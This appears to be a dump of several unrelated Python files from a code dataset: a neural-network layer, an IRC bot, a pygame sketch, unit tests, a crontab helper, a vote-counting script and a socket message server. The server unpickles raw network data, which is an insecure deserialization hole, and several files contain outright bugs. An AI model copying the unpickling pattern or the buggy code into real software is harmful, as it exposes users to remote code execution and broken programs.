min_channels: int = hp.optional(\n doc='Minimum number of channels in a Conv2d layer'\n ' for a squeeze-excite block to be placed after it.',\n default=128,\n )\n\n def initialize_object(self) -> SqueezeExcite:\n return SqueezeExcite(**asdict(self))\n\n\nclass SqueezeExcite2d(torch.nn.Module):\n \"\"\"Squeeze-and-Excitation block from (`Hu et al. 2019 `_)\n\n This block applies global average pooling to the input, feeds the resulting\n vector to a single-hidden-layer fully-connected network (MLP), and uses the\n output of this MLP as attention coefficients to rescale the input. This\n allows the network to take into account global information about each input,\n as opposed to only local receptive fields like in a convolutional layer.\n\n Args:\n num_features: Number of features or channels in the input\n latent_channels: Dimensionality of the hidden layer within the added\n MLP. If less than 1, interpreted as a fraction of ``num_features``.\n \"\"\"\n\n def __init__(self, num_features: int, latent_channels: float = .125):\n super().__init__()\n self.latent_channels = int(latent_channels if latent_channels >= 1 else latent_channels * num_features)\n flattened_dims = num_features\n\n self.pool_and_mlp = torch.nn.Sequential(torch.nn.AdaptiveAvgPool2d(1), torch.nn.Flatten(),\n torch.nn.Linear(flattened_dims, self.latent_channels, bias=False),\n torch.nn.ReLU(),\n torch.nn.Linear(self.latent_channels, num_features, bias=False),\n torch.nn.Sigmoid())\n\n def forward(self, input: torch.Tensor) -> torch.Tensor:\n n, c, _, _ = input.shape\n attention_coeffs = self.pool_and_mlp(input)\n return input * attention_coeffs.reshape(n, c, 1, 1)\n\n\nclass SqueezeExciteConv2d(torch.nn.Module):\n \"\"\"Helper class used to add a :class:`SqueezeExcite2d` module after a :class:`~torch.nn.Conv2d`.\"\"\"\n\n def __init__(self, *args, latent_channels=.125, conv: torch.nn.Conv2d = None, **kwargs):\n super().__init__()\n self.conv = torch.nn.Conv2d(*args, **kwargs) if conv is None else conv\n self.se = SqueezeExcite2d(num_features=self.conv.out_channels, latent_channels=latent_channels)\n\n def forward(self, input: torch.Tensor) -> torch.Tensor:\n return self.se(self.conv(input))\n\n @staticmethod\n def from_conv2d(module: torch.nn.Conv2d, module_index: int, latent_channels: float):\n return SqueezeExciteConv2d(conv=module, latent_channels=latent_channels)\n\n\ndef apply_se(model: torch.nn.Module, latent_channels: float, min_channels: int):\n \"\"\"See :class:`SqueezeExcite`\"\"\"\n\n def convert_module(module: torch.nn.Conv2d, module_index: int):\n if min(module.in_channels, module.out_channels) < min_channels:\n return None\n return SqueezeExciteConv2d.from_conv2d(module, module_index, latent_channels=latent_channels)\n\n transforms = {torch.nn.Conv2d: convert_module}\n surgery.replace_module_classes(model, transforms) # type: ignore\n return model\n\n\nclass SqueezeExcite(Algorithm):\n \"\"\"Adds Squeeze-and-Excitation blocks (`Hu et al. 2019 `_) after the :class:`~torch.nn.Conv2d` modules in a neural network.\n\n See :class:`SqueezeExcite2d` for more information.\n\n Args:\n latent_channels: Dimensionality of the hidden layer within the added\n MLP. If less than 1, interpreted as a fraction of ``num_features``.\n min_channels: An SE block is added after a :class:`~torch.nn.Conv2d`\n module ``conv`` only if\n ``min(conv.in_channels, conv.out_channels) >= min_channels``.\n For models that reduce spatial size and increase channel count\n deeper in the network, this parameter can be used to only\n add SE blocks deeper in the network. This may be desirable\n because SE blocks add less overhead when their inputs have\n smaller spatial size.\n \"\"\"\n\n def __init__(\n self,\n latent_channels: float = 64,\n min_channels: int = 128,\n ):\n self.hparams = SqueezeExciteHparams(\n latent_channels=latent_channels,\n min_channels=min_channels,\n )\n\n def match(self, event: Event, state: State) -> bool:\n \"\"\"Run on Event.INIT\n\n Args:\n event (:class:`Event`): The current event.\n state (:class:`State`): The current state.\n Returns:\n bool: True if this algorithm should run no \n \"\"\"\n return event == Event.INIT\n\n def apply(self, event: Event, state: State, logger: Logger) -> Optional[int]:\n \"\"\"Apply the Squeeze-and-Excitation layer replacement.\n\n Args:\n event (Event): the current event\n state (State): the current trainer state\n logger (Logger): the training logger \n \"\"\"\n state.model = apply_se(state.model,\n latent_channels=self.hparams.latent_channels,\n min_channels=self.hparams.min_channels)\n layer_count = surgery.count_module_instances(state.model, SqueezeExciteConv2d)\n\n log.info(f'Applied SqueezeExcite to model {state.model.__class__.__name__} '\n f'with latent_channels={self.hparams.latent_channels}, '\n f'min_channels={self.hparams.min_channels}. '\n f'Model now has {layer_count} SqueezeExcite layers.')\n\n logger.metric_fit({\n 'squeeze_excite/num_squeeze_excite_layers': layer_count,\n })\n","sub_path":"composer/algorithms/squeeze_excite/squeeze_excite.py","file_name":"squeeze_excite.py","file_ext":"py","file_size_in_byte":6386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"200888291","text":"#!/usr/bin/python3\n\n#\n# piesquared's miniirc-based bot - Commands\n#\n# Base bot and MiniIRC (c) Copyright 2018 by luk3yx\n# Other commands/triggers (c) Copyright 2018 by piesquared\n#\n\n# Variables\n# These are the variables that can be changed on-the-fly by calling reload.\n# Channels in this list will be automatically joined, but not automatically\n# parted.\nnick = 'PieBot'\nchannels = ['#Edgy1', '#lurk', '#PieDebug', '#PieServers', '#Ferimian-Servers']\nowner = 'piesquared', 'luk3yx'\nowner_login = False\nreboot = 'piesquared'\nother_bots = ['lurk3', 'lurk']\nprefix = '>'\nblock = owner + 'lurk', 'lurk3', 'Edgy1', 'xerox123', 'xerox123_'\nimport os\nping = 0\n# Is human function\nis_human = lambda hostmask : hostmask[0].lower() not in other_bots\n\n# Handle reloads\ndef handle_reload(irc):\n if nick != irc.nick:\n irc.quote('NICK', nick)\n for channel in channels:\n if channel not in irc.channels:\n irc.channels.append(channel)\n irc.quote('JOIN', channel)\n\n# Create a dummy reload_self() in case the other one is not correctly set.\ndef reload_self():\n raise NameError('The reload function was not given to the commands script!')\n\n# Handle normal messages - This is called from the main script.\n# This could probably be better than a large if/else statement.\ndef handle_privmsg(irc, hostmask, args):\n channel = args[0]\n args = args[-1][1:].split(' ')\n cmd = args[0].lower()\n ping = 0\n global owner_login\n\n # Unprefixed commands here\n if 'meep' in cmd.lower():\n irc.msg(channel, 'Meep!')\n elif 'piesquared'.lower() in cmd.lower() and is_human(hostmask):\n ping = ping + 1\n if ping >= 5:\n irc.msg(channel, 'Don\\'t ping my owner.')\n elif nick in cmd:\n irc.msg(channel, 'Yes?')\n # elif cmd.startswith('yay') and is_human(hostmask):\n # irc.msg(channel, 'Yay!')\n elif ' '.join(args).lower().startswith('\\x01action slaps ' + irc.nick.lower()):\n irc.me(channel, 'glares at', hostmask[0])\n #elif cmd == '...' and is_human(hostmask):\n # irc.msg(channel, 'Hey! That will be my line when my master gives me the anti spam upgrade!')\n elif cmd.startswith(prefix):\n # Prefixed commands\n cmd = cmd[1:]\n if 'help' in cmd:\n irc.msg(channel, 'Currently I have no documentation, however you could always use the source\\u2122 at \"https://github.com/piecubed/PieBot/blob/master/commands.py\".')\n elif 'yay' in cmd:\n irc.me(channel, 'yays his processers off')\n elif 'ping' in cmd:\n irc.me(channel, hostmask[0], 'I dont ping people. \\u2122')\n elif 'donut' in cmd:\n if args[1].lower() == 'piebot':\n irc.msg(channel, 'I already have donuts. And, bots dont eat donuts.')\n elif args[1] == ' ':\n irc.me(channel, 'gives', hostmask[0], 'a donut')\n else:\n irc.me(channel, 'gives', args[1], 'a donut')\n elif 'login' in cmd and args[1] == '*****':\n if hostmask[0].lower() != owner:\n return irc.msg(channel, 'Permission denied!')\n owner_login = True\n irc.msg(channel, 'Hello sir!')\n # elif cmd == 'addcmd' and hostmask[0].lower() == owner:\n # if owner_login == True:\n # irc.msg(channel, 'RESTRICTED AREA. ARE YOU SURE YOU WANT TO ADD A NEW COMMAND?')\n # openfile = open('~/piebot/commands.py, 'r')\n elif 'logout' in cmd and hostmask[0].lower() == owner:\n if owner_login:\n owner_login = False\n irc.msg(channel, 'You are now logged out.')\n else:\n irc.msg(channel, 'You are not logged in!')\n # elif cmd.lower() == 'reboot':\n # if owner_login == True\n # os.system('cd /home/piesquared/pietest/bin && ./minetestserver --quiet')\n # os.system('cd /home/piesquared/minetest/bin && ./minetestserver --quiet')\n elif 'slap' in cmd:\n victim = ' '.join(args[1:])\n slap = ' '.join(args[2:2])\n if protected in victim:\n irc.me(channel, 'slaps', hostmask[0], 'with a lit nuclear bomb')\n elif slap == ' ':\n irc.me(channel, 'slaps', victim,\n 'around a bit with a large trout')\n else:\n irc.me(channel, 'slaps', victim, 'with a', slap)\n # elif cmd == 'say'.lower():\n # this = input('Yes?'\n # irc.msg(channel, hostmask[0], 'asked me to say:', this)\n elif 'reload' in cmd:\n if hostmask[0] == owner:\n if owner_login == True:\n print('Reloading')\n reload_self()\n \n else:\n return irc.msg(channel, 'You are not logged in.')\n else:\n return irc.msg(channel, \"You aren't my owner!\")\n # Reload\n try:\n reload_self()\n except Exception as e:\n irc.msg(channel, 'Error while reloading:', repr(e),\n 'A full traceback will be printed to stderr.')\n raise\n irc.msg(channel, 'Done!')\n elif 'game' in cmd:\n gametype = ' '.join(args[1:])\n irc.msg(channel, 'Lets play a game of', gametype[0,len(gametype) -2], '!')\n else:\n irc.msg(channel, 'Unknown command:', repr(args[0]) + '.', 'Try :help for a list of my commands.')\n\n# Prevent people accidentally calling this file.\nif __name__ == '__main__':\n print('ERROR: You have called the wrong file!')\n print('Please call piebot.py instead.')\n","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":5721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"33747987","text":"import pygame\r\n\r\npygame.init()\r\n\r\nBLACK = (0,0,0)\r\nsize = width, height = (1000, 800)\r\nbg = (50, 10, 255)\r\nfps = 60\r\n\r\np1 = (10, 10)\r\np2 = (500, 360)\r\n\r\npygame.display.set_caption('Two Points')\r\n\r\nscreen = pygame.display.set_mode(size)\r\n\r\nclock = pygame.time.Clock()\r\n\r\nvx, vy = 2.5, 2.5\r\nacc = (0.02, -0.02)\r\ndone = False\r\nx,y = p1\r\ntrack = []\r\n\r\nwhile not done:\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done=True\r\n \r\n vx += acc[0]\r\n vy += acc[1]\r\n x += vx\r\n y += vy\r\n track.append((int(x),int(y)))\r\n screen.fill(bg)\r\n for i in track:\r\n pygame.draw.circle(screen, BLACK, (i[0],i[1]), 4)\r\n pygame.draw.circle(screen, BLACK, p2, 4)\r\n pygame.draw.line(screen, BLACK, p1, (p1[0]+1000, p1[1]+1000), 4)\r\n pygame.display.flip()\r\n clock.tick(fps)\r\n\r\npygame.quit()\r\n","sub_path":"missile_test2.py","file_name":"missile_test2.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"20092286","text":"\ntask={}\n\nexpe={}\n\nsim = {}\n\n\nclass Task:\n \"\"\"\n dictionnary telling what to avoid, what to catch. Enter all the keys please\n\n task = [ {\"L\":1, \"R\":-1} , {\"1\":0, \"2\":0, \"3\":0} ] # catch whatever comes from the left, avoid what comes from the right\n task = [ {\"L\":0, \"R\":0} , {\"1\":1, \"2\":-1, \"3\":1} ] # catch all odd numbers, avoir even\n\n\n \"\"\"\n\n def __init__(self, task):\n self.task = task\n\nclass Experiment:\n\n def __init__(self, popsize=1, num_sensors=2, position_sensors=[0,1], num_hidden=4, num_motors=2,\n world_width=8, world_height=20, max_block_size=2, threshold=1,\n initial_synapse_value_mean = 1, initial_synapse_value_sd =.05,\n value_gating_steps = 1):\n self.popsize = popsize\n self.num_sensors = num_sensors\n self.position_sensors = position_sensors\n self.num_hidden = num_hidden\n self.num_motors = num_motors\n self.world_width = world_width\n self.world_height = world_height\n self.max_block_size = max_block_size\n self.threshold = threshold\n self.initial_synapse_value = initial_synapse_value_mean\n self.value_gating_steps = value_gating_steps # default is 1 -> only the last iteration before the block ends up falling is considered for value gated stdp\n self.num_neurons = self.num_sensors + self.num_motors + self.num_hidden\n\n\n\n\n\nclass Simulation:\n\n def __init__(self, ntrial=1, checkpoint_interval=10, history_interval=500, remembered_cm=10, remembered_states=10):\n self.ntrial = ntrial\n self.checkpoint_interval = checkpoint_interval\n self.history_interval = history_interval\n if remembered_cm > history_interval:\n self.remembered_cm = self.history_interval\n else:\n self.remembered_cm = remembered_cm\n if remembered_states > history_interval:\n self.remembered_states = self.history_interval\n else:\n self.remembered_states = remembered_states\n\n\n\n\n\n\n#\n# class Experiment(Munch):\n#\n# \"\"\"Parameters specifying an evolutionary simulation.\n#\n# These can be accessed as attributes, i.e. with dot notation.\n#\n# **Note on magic:** there are several parameters that are derived from those\n# provided upon initialization; these can also be accessed directly as\n# attributes on this object, though they're stored under the ``_derived`` key\n# and are not printed. See ``experiment._derived.keys()`` for a list of\n# these.\n#\n# Keyword Args:\n# filepath (string): A file path pointing to a YAML file containing\n# experiment parameters.\n# override (string): A dictionary of experiment parameters. Values in\n# this dictionary overwrite values from the file.\n#\n# Example:\n# >>> e = Experiment('experiments/example.yml')\n# >>> e.num_sensors\n# 3\n# >>> # This is a derived parameter that was not present in the file:\n# >>> e.sensor_indices\n# (0, 1, 2)\n# \"\"\"\n#\n# def __init__(self, dictionary):\n# dictionary = deepcopy(dictionary)\n# # Validate.\n# validate.experiment(dictionary)\n# # Derive parameters from the user-set ones.\n# dictionary['_derived'] = _derive_params(dictionary)\n# # Put everything in the Munch.\n# self.update(dictionary)\n#\n# def __getstate__(self):\n# return self.serializable()\n#\n# def __setstate__(self, state):\n# self.__init__(state)\n#\n# def __getattr__(self, k):\n# \"\"\"Fall back on derived parameters if ``k`` is not an attribute.\"\"\"\n# try:\n# return object.__getattribute__(self, k)\n# except AttributeError:\n# try:\n# return self[k]\n# except KeyError:\n# try:\n# return self._derived[k]\n# except KeyError:\n# raise AttributeError(k)\n#\n# def __repr__(self):\n# \"\"\"Return a readable representation of the experiment.\n#\n# This does not include derived parameters.\n# \"\"\"\n# # Format with pretty print, and indent.\n# return ('Experiment({\\n ' +\n# pprint.pformat(self.serializable(), indent=1)[1:-1] +\n# '\\n})')\n#\n# def serializable(self):\n# \"\"\"Return a serializable representation of the experiment.\"\"\"\n# # Exclude `_derived` parameters when serializing to JSON.\n# return {k: v for k, v in self.items() if k != '_derived'}e\n","sub_path":"pynnets-develop/pynnets/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"273468355","text":"\"\"\"Tests for the agents.discretizer module\"\"\"\n\n# Stdlib imports\n\n# Third-party imports\nfrom gym.spaces.box import Box\nfrom gym.spaces.dict import Dict\nfrom gym.spaces.discrete import Discrete\nimport numpy as np\nimport pytest\n\n# Application imports\nfrom agents.discretizer import create_discretizers\nfrom agents.discretizer import Discretizer\n\n\n@pytest.fixture\ndef box():\n return Box(\n low=np.array([1.2, 256, -8, -2]), high=np.array([1.5, 1024, -4, 8])\n )\n\n\n@pytest.fixture\ndef disc():\n return Discrete(4)\n\n\n@pytest.fixture\ndef obs():\n return np.array([1.333333, 512, -5, 1])\n\n\n@pytest.fixture\ndef obs_out():\n return np.array([1.0, 1300, -9, -3])\n\n\n@pytest.fixture\ndef obs_edge():\n return np.array([1.2, 1024, -8, 8])\n\n\n@pytest.fixture\ndef obs_center(obs):\n return np.array([1.35, 512, -6, -0])\n\n\n@pytest.fixture\ndef max_difference_lin():\n def inner_func(space: Box, num_bins: int):\n spread = space.high - space.low\n return abs(spread / num_bins)\n\n return inner_func\n\n\ndef test_discretizer_lin(box, obs, max_difference_lin):\n bins = 5\n d = Discretizer(box, num_bins=bins, log_bins=False)\n disc = d.discretize(obs)\n undisc_obs = d.undiscretize(disc)\n assert (abs(obs - undisc_obs) <= max_difference_lin(box, bins)).all()\n\n\ndef test_discretizer_lin_outside(box, obs_out, obs_center):\n d = Discretizer(box, num_bins=5, log_bins=False)\n disc = d.discretize(obs_out)\n undisc_obs = d.undiscretize(disc)\n for i, elem in enumerate(undisc_obs):\n if obs_out[i] < obs_center[i]:\n assert elem == pytest.approx(box.low[i])\n else:\n assert elem == pytest.approx(box.high[i])\n\n\ndef test_discretizer_log(box, obs_center):\n d = Discretizer(box, num_bins=5, log_bins=True)\n disc = d.discretize(obs_center)\n undisc_obs = d.undiscretize(disc)\n for i, elem in enumerate(undisc_obs):\n if obs_center[i] == 0:\n assert elem == pytest.approx(0, abs=1.0)\n else:\n assert elem >= box.low[i]\n assert elem <= box.high[i]\n\n\ndef test_discretizer_log_edges(box, obs_center, obs_edge):\n d = Discretizer(box, num_bins=5, log_bins=True)\n disc = d.discretize(obs_edge)\n undisc_obs = d.undiscretize(disc)\n for i, elem in enumerate(undisc_obs):\n if obs_edge[i] < obs_center[i]:\n assert elem == pytest.approx(box.low[i])\n else:\n assert elem == pytest.approx(box.high[i])\n\n\ndef test_discretizer_log_outside(box, obs_center, obs_out):\n d = Discretizer(box, num_bins=5, log_bins=True)\n disc = d.discretize(obs_out)\n undisc_obs = d.undiscretize(disc)\n for i, elem in enumerate(undisc_obs):\n if obs_out[i] < obs_center[i]:\n assert elem == pytest.approx(box.low[i])\n else:\n assert elem == pytest.approx(box.high[i])\n\n\ndef test_discretizer_discrete():\n discrete_space = Discrete(4 * 7)\n d = Discretizer(discrete_space, num_bins=5, log_bins=False)\n obs = np.array([17])\n disc_arr = d.discretize(obs)\n undisc_obs_arr = d.undiscretize(disc_arr)\n assert disc_arr == np.array(obs)\n assert undisc_obs_arr == np.array(obs)\n\n # Also accept plain numbers:\n obs = 17\n disc_arr = d.discretize(obs)\n undisc_obs_arr = d.undiscretize(disc_arr)\n assert disc_arr == np.array(obs)\n assert undisc_obs_arr == np.array(obs)\n\n # Undiscretize should also accept plain numbers:\n undisc_obs = d.undiscretize(17)\n assert undisc_obs == np.array(17)\n\n\ndef test_discretizer_undiscretize_accept_plain_numbers(max_difference_lin):\n bins = 5\n box = Box(low=np.array([1.2]), high=np.array([1.5]))\n obs = [1.3333]\n d = Discretizer(box, num_bins=bins, log_bins=False)\n disc = d.discretize(obs)\n undisc_obs = d.undiscretize(int(disc))\n assert (abs(obs - undisc_obs) <= max_difference_lin(box, bins)).all()\n\n\n@pytest.mark.parametrize(\n \"invalid_obs\",\n [\n np.array([1.333333, 512, -5, 1, 3.145]),\n np.array([1.333333, 512, -5]),\n np.array([]),\n np.array([[]]),\n np.array([[1.333333, 512, -5, 1]]),\n np.array([[1.333333, 512, -5, 1]]).T,\n ],\n)\ndef test_discretizer_wrong_shape(box, invalid_obs):\n d = Discretizer(box, num_bins=5, log_bins=False)\n with pytest.raises(ValueError, match=\"shape\"):\n _ = d.discretize(invalid_obs)\n\n\ndef test_discretizer_unsupported_space(box, disc):\n dict_space = Dict(my_box=box, my_disc=disc)\n with pytest.raises(TypeError):\n _ = Discretizer(dict_space, num_bins=5, log_bins=False)\n\n\ndef test_create_discretizers(mocker, box, disc):\n env = mocker.Mock()\n env.observation_space = box\n env.action_space = disc\n state_disc, action_disc = create_discretizers(\n env, num_bins=5, log_bins=False\n )\n","sub_path":"tests/agents/test_discretizer.py","file_name":"test_discretizer.py","file_ext":"py","file_size_in_byte":4769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"107790003","text":"# coding:utf-8\n#\n# The MIT License (MIT)\n#\n# Copyright (c) 2016-2018 yutiansut/QUANTAXIS\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\n\nimport hashlib\nimport time\n\nfrom QUANTAXIS.QASetting.cache import get_cache\n\n\n# Globals ######################################################################\nDEBUG = False\n\n\nclass CronTabItem(_CronTab):\n \"\"\"A cron tab schedule.\n :param str cronschedule: The cron schedule. E.g. ``@daily``,\n ``0 0 * * */2 *``. `See the project page for more\n information `_.\n \"\"\"\n def __init__(self, cronschedule):\n self.__schedule = cronschedule\n super(CronTabItem, self).__init__(cronschedule)\n\n @property\n def schedule(self):\n return self.__schedule\n\n def next_time(self, asc=False):\n \"\"\"Get the local time of the next schedule time this job will run.\n :param bool asc: Format the result with ``time.asctime()``\n :returns: The epoch time or string representation of the epoch time that\n the job should be run next\n \"\"\"\n _time = time.localtime(time.time() + self.next())\n\n if asc:\n return time.asctime(_time)\n\n return time.mktime(_time)\n\n\nclass CronTab(object):\n \"\"\"Represents a set of cron jobs, much like a crontab file. The jobs will\n be given an ID (md5 hash of description + command + schedule). If the job\n already exists in the cache, \"last-run\" and \"last-run-result\" will be read\n from the cache. If the job does not exist in the cache, it will be added.\n :param list jobs: A list of dictionaries representing a job\n \"\"\"\n def __init__(self, jobs):\n cache = get_cache()\n self.jobs = []\n\n for job in jobs:\n m = hashlib.md5()\n m.update(job[\"description\"])\n m.update(job[\"command\"])\n m.update(job[\"cron-job\"])\n job[\"id\"] = m.hexdigest()\n job[\"cron-job\"] = CronTabItem(job[\"cron-job\"])\n job[\"next-run\"] = job[\"cron-job\"].next_time()\n\n cached = cache.get(job[\"id\"])\n if cached:\n job[\"last-run\"] = cached[\"last-run\"]\n job[\"last-run-result\"] = cached[\"last-run-result\"]\n else:\n job[\"last-run\"] = 0\n job[\"last-run-result\"] = 0\n cache.add_job(job)\n\n self.jobs.append(job)","sub_path":"QUANTAXIS/QASetting/crontab.py","file_name":"crontab.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"626874519","text":"#Dependencies\r\nimport os\r\nimport csv\r\n\r\n#Joining path\r\ncsvpath =os.path.join('..', 'Resources', 'election_data.csv')\r\n\r\n#Define variables\r\nvotes = 0\r\ncandidates = []\r\nvote_count = {}\r\nvote_percent = {}\r\n\r\nwith open(csvpath, newline=\"\") as csvfile:\r\n csvreader = csv.reader(csvfile, delimiter=\",\")\r\n \r\n \r\n #Count votes + list candidates\r\n for row in csvreader:\r\n \r\n votes = votes + 1 \r\n\r\n if row[2] not in candidates and row[2] not in \"Candidate\":\r\n candidates.append(row[2])\r\n vote_count[row[2]] = 1\r\n elif row[2] in candidates and row[2] not in \"Candidate\":\r\n vote_count[row[2]] = vote_count[row[2]] + 1\r\n\r\n #Calculate percentage of votes\r\n for key, value in vote_count.items():\r\n vote_percent[key] = str(round(((value/votes)*100),3)) + \"% (\"+str(value) + \")\"\r\n \r\n #Find winner\r\n maxi = max(vote_count.keys(), key=(lambda k: vote_count[k])) \r\n \r\n #Make variables for printing results\r\n space = \"-------------------------------\"\r\n results1 = (\r\n \"Election Results\" + '\\n' + space + '\\n' + \"Total Votes: \"+ str(votes)+ '\\n' + space + '\\n')\r\n results2 = (\r\n space + '\\n'\r\n \"Winner: \"+ str(maxi)+ '\\n' + space + '\\n')\r\n \r\n #Print Results\r\n print(results1)\r\n for key, val in vote_percent.items():\r\n print(key, \": \", val)\r\n print(results2)\r\n \r\n #Create text file\r\n f = open(\"Election_results.txt\", \"w\")\r\n\r\n f.write(results1)\r\n for key, val in vote_percent.items():\r\n f.write((key + \": \" + val)+ '\\n')\r\n f.write(results2)\r\n \r\n f.close()","sub_path":"PyPoll.py","file_name":"PyPoll.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"630753054","text":"import socket\r\nimport threading\r\nimport traceback\r\nimport queue\r\nimport pickle\r\nimport logging\r\nfrom Coder import Encoder\r\n\r\n# initial logger\r\n# logger = logging.getLogger(__name__)\r\n\r\nclass MessageCenter(threading.Thread):\r\n def __init__(self, _localhost, _refer_hashtable):\r\n threading.Thread.__init__(self, daemon=True)\r\n self.logger = logging.getLogger('MonitorApplication')\r\n self._qMessageQueue = queue.Queue()\r\n self.localHost = _localhost\r\n self.reference = _refer_hashtable\r\n self.encoder = Encoder(self.localHost, self.reference)\r\n # use to shutdown server.\r\n self.shutdown = False\r\n\r\n def run(self):\r\n s = self.__makeserversocket()\r\n # set connection timeout for 2 seconds.\r\n # s.settimeout(5)\r\n #logging.getLogger('Server start at: {}'.format(self.localHost))\r\n self.logger.debug('Server start: {} {}:{}'.format(self.localHost.getName(), self.localHost.getIP(), self.localHost.getPort()))\r\n # logging.getLogger('Server start: {} {}:{}'.format(self.localHost.getName(), self.localHost.getIP(), self.localHost.getPort()))\r\n\r\n while not self.shutdown:\r\n try:\r\n # when new connection is coming.\r\n clt_sock, clt_addr = s.accept()\r\n self.logger.debug('A new connection coming...')\r\n clt_sock.settimeout(None)\r\n\r\n # make a thread to let it handle the msg.\r\n t = threading.Thread(target=self.__handleconnection, args=[clt_sock])\r\n self.logger.debug('Start a new thread')\r\n t.daemon = True\r\n t.start()\r\n except KeyboardInterrupt:\r\n self.shutdown = True\r\n continue\r\n except:\r\n if True:\r\n traceback.print_exc()\r\n continue\r\n\r\n self.logger.debug('Main loop exiting...')\r\n s.close()\r\n\r\n def __makeserversocket(self, backlog=5):\r\n # specify the connection type, here is (use internet, TCP connection).\r\n s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )\r\n # set the socket port can be reused.\r\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n # prepare the socket and port.\r\n s.bind((self.localHost.getIP(), int(self.localHost.getPort())))\r\n # start listening the socket and allow the 'backlog' number of connection.\r\n s.listen(backlog)\r\n return s\r\n\r\n def __handleconnection(self, clientsocket, reply=None):\r\n # get the ip and port number of client(peer) side .\r\n # sender_host, sender_port = clientsocket.getpeername()\r\n \r\n # create a ConnectionPort to receive and reply to the connection.\r\n msgconn = ConnectionPort(None, None, clientsocket) # the value of host and port doesnt matter as long as you have socket.\r\n try:\r\n # accept the msg.\r\n newmsg = msgconn.recv_data()\r\n sender_host = newmsg.getSender()\r\n sender_port = newmsg.getPort()\r\n # is the msg in the ip hash table ? no corresponding key should return None.\r\n sender_name = self.reference.get(sender_host)\r\n if sender_name != None:\r\n self.encoder.encodeMsg_in(newmsg.getType(), newmsg.getContent(), sender_host)\r\n self.logger.debug('{} receive msg from {} {}:{} : {}'.format(self.localHost.getName(), sender_name, sender_host, sender_port, newmsg.getContent()))\r\n if reply:\r\n # repsonse should be a msg object which you want to reply.\r\n msgconn.send_data(reply)\r\n \r\n # saving msg.\r\n newmsg.setSenderName( sender_name )\r\n self._qMessageQueue.put(newmsg)\r\n else:\r\n # discard the msg .\r\n self.logger.debug('The message from {} {} is not acceptable.'.format(sender_name, sender_host))\r\n except :\r\n if True:\r\n traceback.print_exc()\r\n\r\n self.logger.debug('Disconnecting' + str(clientsocket.getpeername()))\r\n msgconn.close()\r\n\r\n def getNewMessage(self):\r\n # pop msg once a time.\r\n try:\r\n msg = self._qMessageQueue.get(False)\r\n return msg\r\n except queue.Empty:\r\n return None\r\n\r\n def sendNewMessage(self, _newMsg ):\r\n # suppose A sends to B \r\n host = _newMsg.getDestination() # B's ip\r\n port = _newMsg.getPort() # B's por\r\n pid = _newMsg.getSender() # A's IP\r\n\r\n # send msg to a host and get its reply.\r\n msgreply = []\r\n try:\r\n # make connection to the the other peer side.\r\n msgconn = ConnectionPort(host, port)\r\n msgconn.send_data(_newMsg)\r\n self.logger.debug('{} sent msg to {}:{} : {}'.format(pid, host, port, _newMsg))\r\n # accept the reply.\r\n replymsg = msgconn.recv_data()\r\n while replymsg != None:\r\n msgreply.append(replymsg)\r\n self.logger.debug('{} got reply from {}:{} : {}'.format(pid, host, port, replymsg))\r\n replymsg = msgconn.recv_data()\r\n except KeyboardInterrupt:\r\n raise\r\n except socket.error as e:\r\n self.logger.debug(str(e))\r\n return None\r\n except:\r\n if True:\r\n traceback.print_exc()\r\n\r\n return msgreply\r\n\r\n def isQueueEmpty(self):\r\n # is the msg queue empty ?\r\n if self._qMessageQueue.empty():\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nclass ConnectionPort():\r\n def __init__(self, host, port, sock=None):\r\n if not sock:\r\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.s.connect((host, int(port)))\r\n else:\r\n self.s = sock\r\n\r\n def __makemsg(self, msg_obj):\r\n # make the data into pickle format.\r\n # msg_data = [msgtype, msgdata]\r\n msg = pickle.dumps(msg_obj)\r\n return msg\r\n\r\n def __readmsg(self, recvmsg):\r\n msg = pickle.loads(recvmsg)\r\n return msg\r\n\r\n def recv_data(self):\r\n try:\r\n msg = self.__readmsg(self.s.recv(4096))\r\n return msg\r\n except KeyboardInterrupt:\r\n raise\r\n except EOFError:\r\n # out of msg\r\n return None\r\n except :\r\n if True:\r\n traceback.print_exc()\r\n return None\r\n \r\n def send_data(self, msg_obj):\r\n try:\r\n msg = self.__makemsg(msg_obj)\r\n self.s.send(msg)\r\n except KeyboardInterrupt:\r\n raise\r\n except:\r\n if True:\r\n traceback.print_exc()\r\n return False\r\n return True\r\n\r\n def close(self):\r\n 